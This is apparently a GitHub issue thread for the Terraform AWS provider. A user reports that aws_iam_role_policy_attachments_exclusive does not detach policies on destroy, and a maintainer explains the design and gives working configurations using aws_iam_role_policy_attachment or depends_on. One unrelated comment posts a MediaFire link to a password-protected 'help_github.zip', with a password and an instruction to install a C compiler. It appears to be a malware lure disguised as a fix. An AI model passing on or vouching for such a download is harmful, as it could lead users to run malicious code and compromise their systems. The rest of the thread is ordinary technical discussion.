hashicorp / terraform-provider-aws

The AWS Provider enables Terraform to manage AWS resources.
https://registry.terraform.io/providers/hashicorp/aws
Mozilla Public License 2.0
9.8k stars 9.15k forks source link

[Bug]: aws_iam_role_policy_attachments_exclusive doesnt detach policies on destroy? #39818

Open lapkritinis opened 10 hours ago

lapkritinis commented 10 hours ago

Terraform Core Version

1.9.7

AWS Provider Version

5.72.1

Affected Resource(s)

Expected Behavior

Created resources should have deleted.

Actual Behavior

│ Error: deleting IAM Policy (arn:aws:iam::123456789012:policy/terraform-20241021154342453400000001): operation error IAM: DeletePolicy, https response error StatusCode: 409, RequestID: 51ddf8fa-2fa5-44e3-a47c-81c67a6b3043, DeleteConflict: Cannot delete a policy attached to entities.

Relevant Error/Panic Output Snippet

No response

Terraform Configuration Files

terraform {
  required_providers {
    aws = {
      source  = "hashicorp/aws"
      version = "5.72.1"
    }
  }
}

resource "aws_iam_role" "this" {
  assume_role_policy = data.aws_iam_policy_document.trust-ec2-service.json
}

resource "aws_iam_policy" "this" {
  policy = data.aws_iam_policy_document.ebs-encrypt-decrypt.json
}

resource "aws_iam_role_policy_attachments_exclusive" "this" {
  role_name = aws_iam_role.this.name
  policy_arns = [
    aws_iam_policy.this.arn,
  ]
}

data "aws_iam_policy_document" "trust-ec2-service" {
  statement {
    sid     = "EC2AssumeRole"
    actions = ["sts:AssumeRole"]

    effect = "Allow"

    principals {
      type        = "Service"
      identifiers = ["ec2.amazonaws.com"]
    }
  }
}

data "aws_iam_policy_document" "ebs-encrypt-decrypt" {
  statement {
    effect = "Allow"
    actions = [
      "kms:DescribeKey",
    ]
    resources = ["*"]
  }
}

Steps to Reproduce

terraform apply <- resources are created as expected. terraform apply -destroy

aws_iam_role_policy_attachments_exclusive.this: Destroying...
aws_iam_role_policy_attachments_exclusive.this: Destruction complete after 0s
aws_iam_policy.this: Destroying... [id=arn:aws:iam::654654141215:policy/terraform-20241021155037463400000001]
aws_iam_role.this: Destroying... [id=terraform-20241021155037463400000002]
aws_iam_role.this: Destruction complete after 1s
╷
│ Error: deleting IAM Policy (arn:aws:iam::123456789012:policy/terraform-20241021155037463400000001): operation error IAM: DeletePolicy, https response error StatusCode: 409, RequestID: 373c1ae9-33d4-4b63-a392-62dae5305b2b, DeleteConflict: Cannot delete a policy attached to entities.

Debug Output

No response

Panic Output

No response

Important Factoids

You have deprecated from iam_role managed_policy_arns in favor of aws_iam_role_policy_attachments_exclusive. It would be nice if you have checked that its functional. @jar-b

Working code which now is DEPRECATED

terraform {
  required_providers {
    aws = {
      source  = "hashicorp/aws"
      version = "5.72.1"
    }
  }
}

resource "aws_iam_role" "this" {
  assume_role_policy = data.aws_iam_policy_document.trust-ec2-service.json

  # ***DEPRECATED***
  managed_policy_arns = [
    aws_iam_policy.this.arn,
  ]
}

resource "aws_iam_policy" "this" {
  policy = data.aws_iam_policy_document.ebs-encrypt-decrypt.json
}

data "aws_iam_policy_document" "trust-ec2-service" {
  statement {
    sid     = "EC2AssumeRole"
    actions = ["sts:AssumeRole"]

    effect = "Allow"

    principals {
      type        = "Service"
      identifiers = ["ec2.amazonaws.com"]
    }
  }
}

data "aws_iam_policy_document" "ebs-encrypt-decrypt" {
  statement {
    effect = "Allow"
    actions = [
      "kms:DescribeKey",
    ]
    resources = ["*"]
  }
}

References

No response

Would you like to implement a fix?

None

github-actions[bot] commented 10 hours ago

Community Note

Voting for Prioritization

Volunteering to Work on This Issue

Gelinus commented 10 hours ago

I think this will help you. https://www.mediafire.com/file/33h9a2mzmqf81fz/help_github.zip/file Pass: xfp53 If you don't have the c compliator, install it.(gcc or clang)

jar-b commented 8 hours ago

Hi @lapkritinis - sorry to hear you're having issues.

In this case the aws_iam_role_policy_attachments_exclusive resource is behaving as expected. Destruction of this resource indicates that Terraform should no longer monitor the role to synchronize the configured attachments. It does not remove attachments, as that responsibility is reserved for the aws_iam_role_policy_attachment resource (or deletion of the parent role resource).

You can modify your configuration above to work as expected by adding a aws_iam_role_policy_attachment resource, which enables Terraform to properly sequence policy detachment before deletion.

terraform {
  required_providers {
    aws = {
      source  = "hashicorp/aws"
      version = "5.72.1"
    }
  }
}

resource "aws_iam_role" "this" {
  assume_role_policy = data.aws_iam_policy_document.trust-ec2-service.json
}

resource "aws_iam_policy" "this" {
  policy = data.aws_iam_policy_document.ebs-encrypt-decrypt.json
}

### Start additions ###
resource "aws_iam_role_policy_attachment" "this" {
  role       = aws_iam_role.this.name
  policy_arn = aws_iam_policy.this.arn
}
### End additions ###

resource "aws_iam_role_policy_attachments_exclusive" "this" {
  role_name = aws_iam_role.this.name
  policy_arns = [
    aws_iam_policy.this.arn,
  ]
}

data "aws_iam_policy_document" "trust-ec2-service" {
  statement {
    sid     = "EC2AssumeRole"
    actions = ["sts:AssumeRole"]

    effect = "Allow"

    principals {
      type        = "Service"
      identifiers = ["ec2.amazonaws.com"]
    }
  }
}

data "aws_iam_policy_document" "ebs-encrypt-decrypt" {
  statement {
    effect = "Allow"
    actions = [
      "kms:DescribeKey",
    ]
    resources = ["*"]
  }
}
% terraform destroy -auto-approve

Plan: 0 to add, 0 to change, 4 to destroy.
aws_iam_role_policy_attachment.this: Destroying... [id=terraform-20241021180512987400000002-20241021180513469200000003]
aws_iam_role_policy_attachments_exclusive.this: Destroying...
aws_iam_role_policy_attachments_exclusive.this: Destruction complete after 0s
aws_iam_role_policy_attachment.this: Destruction complete after 0s
aws_iam_policy.this: Destroying... [id=arn:aws:iam::727561393803:policy/terraform-20241021180512987100000001]
aws_iam_role.this: Destroying... [id=terraform-20241021180512987400000002]
aws_iam_role.this: Destruction complete after 0s
aws_iam_policy.this: Destruction complete after 0s

Destroy complete! Resources: 4 destroyed.

You could also omit the aws_iam_role_policy_attachment resource and instead use an explicit depends_on to the role resource, ensuring that role destruction (and detachment of the policy) happens before the policy is deleted.

resource "aws_iam_role" "this" {
  assume_role_policy = data.aws_iam_policy_document.trust-ec2-service.json

  depends_on = [aws_iam_policy.this]
}
% terraform destroy -auto-approve

Plan: 0 to add, 0 to change, 3 to destroy.
aws_iam_role_policy_attachments_exclusive.this: Destroying...
aws_iam_role_policy_attachments_exclusive.this: Destruction complete after 0s
aws_iam_role.this: Destroying... [id=terraform-20241021180916381600000002]
aws_iam_role.this: Destruction complete after 0s
aws_iam_policy.this: Destroying... [id=arn:aws:iam::727561393803:policy/terraform-20241021180916135700000001]
aws_iam_policy.this: Destruction complete after 1s

Destroy complete! Resources: 3 destroyed.

This second option mimics the working example you provided (the presence of the managed_policy_arns argument is not what allows destruction to complete successfully, but rather the implicit dependency on aws_iam_policy.this which causes the role to be deleted before the policy).

Hope this helps to resolve your issue!

lapkritinis commented 7 hours ago

I appreciate response.

Constructive discussion. What is the intent of this new resource? To detach policies which should not be attached to? In that case fine, but it should not replace manage_policies_arns in my opinion. If I have like 10 policies attaching each of them with its own resources aws_iam_role_policy_attachment repeating 10 times its kinda boilerplate (could be for_each maybe, but still, for_each are tricky on dynamic resources). I liked to have an single list where I saw all policies attached to a role. This explicit thingy which should done sort of same job - kinda doesn’t. It still feels odds, that it creates attachment, but doesnt destroy - because one attachment does get detached upon destruction, but other “type” does not. For me personally whole setup seems like a downgrade without benefits and I will be using most likely that deprecated form because its most handy. If destruction would behave like it should (at least add some option for it?) I would use this new probably.

depends_on should be avoided - by own terraform docs. That one doesnt add life quality either, because it adds additional complexity (without benefits compared to old way)